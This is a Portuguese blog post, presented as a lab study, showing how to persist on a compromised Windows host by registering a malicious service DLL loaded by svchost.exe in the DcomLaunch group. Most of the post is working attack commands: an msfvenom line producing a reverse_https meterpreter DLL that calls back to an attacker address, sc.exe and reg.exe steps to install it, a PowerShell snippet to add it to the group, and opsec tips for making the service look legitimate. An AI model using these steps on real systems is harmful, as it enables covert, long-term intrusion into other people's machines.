Geleia Cybersecurity professional

service persistence


Persistencia com ServiceDll atravez do svchost.exe


Baseado totalmente no artigo: https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain

“This is a quick lab that looks into a persistence mechanism that relies on installing a new Windows service, that will be hosted by an svchost.exe process.”

Recentemente eu estava estudando algumas tecnicas de persistencia em sistemas windows e me deparei com esse artigo mencionado a cima.

Nesse artigo é apresentado uma tecnica de persistencia que cria um service setando o binpath como svchost.exe -k DcomLaunch, o que informará ao Service Control Manager que queremos que nosso service seja carregado pelo svchost em um grupo de serviços chamado DcomLaunch.

Com o grupo DcomLaunch setado, o svchost vai consultar a registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost que tem a lista de services que estão nesse grupo, e depois carregara os services com suas respectivas ServiceDll consultando outra registry key HKLM\SYSTEM\CurrentControlSet\services\<SVC-NAME>\Parameters / ServiceDll associada a cada service.

E é nesse ultimo passo que podemos adicionar uma dll maliciosa para ela ser executada pelo próprio service. Isso possibilita a execução de implants/droppers, varias tecnicas de process-injection ou qualquer codigo que seja possivel executar em uma dll.

(vale a pena ressaltar que essa persistencia só é possível com privilégios elevados como algum admin ou system)

Depois da introção vamos para a parte prática.

A ideia é a seguinte, vamos partir do contexto de que você ja tenha uma shell com high-privilege na maquina alvo, então a primeira coisa é garantir que você mantenha o acesso caso algo dê errado com a shell atual…

1 - Persistence service dll

__

  • Aqui vem a parte em que você precisa preparar sua dll. Assim como existe “service binary” também podemos usar um “service dll”. No artigo vou usar uma dll gerada pelo msfvenom, mas você pode usar uma customizada.
└─$ msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.0.1 lport=4321 EXITFUNC=thread  --smallest -f dll -o evil.dll

Os exemplos de comandos são de uma shell meterpreter, então as flags e as strings usadas podem variar dependendo do c2 ou da shell que você usar.

(Obs: para facilitar o demo o defender foi desativado porque ele barraria facilmente a dll do msfvenom.)

2 - Create EvilSvc Service

__

  • Agora criamos o service com o binpath apontando para o svchost usando o grupo DcomLaunch.

createevilsvc

sc.exe create EvilSvc binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
  • depois de criar o service verifique se esta tudo certo

verifyevilsvc

sc.exe query EvilSvc
  • opsec: O nome do service precisa ser algo que não levante suspeita e também vale a pena adicionar alguma descrição para que fique mais credivél. Você pode tirar ideias e se basear em ttps do mitre sobre esse tema.

3 - Modify EvilSvc - Specify ServiceDLL Path

__

  • Aqui vamos editar a registry key associada ao EvilSvc para adicionar a dll maliciosa HKLM\SYSTEM\CurrentControlSet\services\EvilSvc\.

setpathsvcdll

reg.exe add HKLM\SYSTEM\CurrentControlSet\services\EvilSvc\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\system32\EvilSvc.dll /f
  • verifique se o path foi setado

verifysvcdllpath

reg.exe queryHKLM\SYSTEM\CurrentControlSet\services\EvilSvc\Parameters /v ServiceDll 

4 - Group EvilSvc with DcomLaunch

__

  • Nessa parte adicionamos o EvilSvc ao grupo DcomLaunch alterando a registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost /v DcomLaunch. No artigo é feito direto pelo registry editor mas como só temos acesso via cli, vamos usar powershell pra isso.

setsvctodcom

// path para a reg key
$path = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"

// pega a lista de services
$current = Get-ItemProperty -Path $path -Name DcomLaunch

// add o EvilSvc na lista
$newList = $current.DcomLaunch + "EvilSvc"

// redefine os valores da var DcomLaunch
Set-ItemProperty -Path $path -Name DcomLaunch -Value $newList

Você pode juntar isso numa oneliner e executar como na imagem acima.

  • Fazendo dessa forma é possivel preservar a lista default do grupo DcomLaunch. Se for feito com o reg.exe ele vai sobrescrever os valores podendo causar falha em alguns services.

  • Depois verifique se o EvilSvc foi adicionado

verifysvcindcom

reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v DcomLaunch

Agora com tudo feito a persistencia está pronta. Como o service foi criado com “start auto”, quando houver algum reboot o service será iniciado e carregado com o grupo DcomLaunch.

  • msf session getsession

  • svc running with rundll32 svcrun1

  • svc dll path svcrun2


Similar Posts

Artigo anterior windows persistence

Próximo artigo reflective dll injection

Content